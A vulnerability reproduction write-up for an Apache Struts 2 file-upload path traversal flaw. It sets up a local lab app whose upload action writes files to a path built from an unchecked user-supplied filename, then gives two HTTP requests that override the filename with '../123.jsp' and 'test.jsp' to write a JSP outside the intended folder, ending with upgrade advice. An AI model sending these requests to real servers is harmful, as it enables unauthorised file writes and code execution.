Vulnerability description
In multiple affected versions of Apache Struts 2, due to flaws in the file upload logic, threat actors can manipulate file upload parameters to cause path traversal. In some cases, malicious files may be uploaded, causing remote code execution.
Affected version
Struts 2.5.0-Struts 2.5.32
Struts 6.0.0-Struts 6.3.0
Environment setup
Struts 6.3.0
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
Use IDEA to create a maven project, check Create from archetype, and then select the one as shown below.
Then just take the next step
Configure the struts2 dependency of the pom.xml file
Add dependencies in pom.xml
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
Define an UploadAction
package com.struts2;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
// 文件类型,为name属性值 + ContentType
private String uploadContentType;
// 文件名称,为name属性值 + FileName
private String uploadFileName;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = "D:\\up\\";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
struts.xml
In struts.xml, this file is usually under the /WEB-INF/classes path of the project path by default.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.struts2.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>
Configure the filter in web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
</web-app>
index.jsp
<html>
<body>
<h2>Hello World!</h2>
<form action="upload.action" method="post" enctype="multipart/form-data">
<input type="file" name="Upload" />
<input type="submit" value="Upload" />
</form>
</body>
</html>
Run the access to indicate that the build is successful.
Vulnerability recurrence
POST /untitled4_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------299952630938737678921373326300
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Sec-Fetch-Mode: navigate
Origin: http://localhost:8080
Sec-Fetch-Dest: document
Cookie: JSESSIONID=4519C8974359B23EE133A5CEA707D7D0; USER_NAME_COOKIE=admin; SID_1=69cf26c6
Referer: http://localhost:8080/untitled4_war_exploded/
Content-Length: 63765
-----------------------------299952630938737678921373326300
Content-Disposition: form-data; name="Upload"; filename="12.txt"
Content-Type: image/png
111
-----------------------------299952630938737678921373326300
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain
../123.jsp
-----------------------------299952630938737678921373326300--
POST /untitled4_war_exploded/upload.action?uploadFileName=test.jsp HTTP/1.1
Host: localhost:8080
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------299952630938737678921373326300
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Sec-Fetch-Mode: navigate
Origin: http://localhost:8080
Sec-Fetch-Dest: document
Cookie: JSESSIONID=4519C8974359B23EE133A5CEA707D7D0; USER_NAME_COOKIE=admin; SID_1=69cf26c6
Referer: http://localhost:8080/untitled4_war_exploded/
Content-Length: 63765
-----------------------------299952630938737678921373326300
Content-Disposition: form-data; name="Upload"; filename="12.txt"
Content-Type: image/png
111
-----------------------------299952630938737678921373326300--
Vulnerability analysis
- https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
- https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/#%E5%88%86%E6%9E%90
Bug fixes
updated version
The vulnerability has been fixed and affected users can upgrade to Apache Struts 2.5.33, 6.3.0.2 or higher.
Download link:
https://struts.apache.org/download.cgi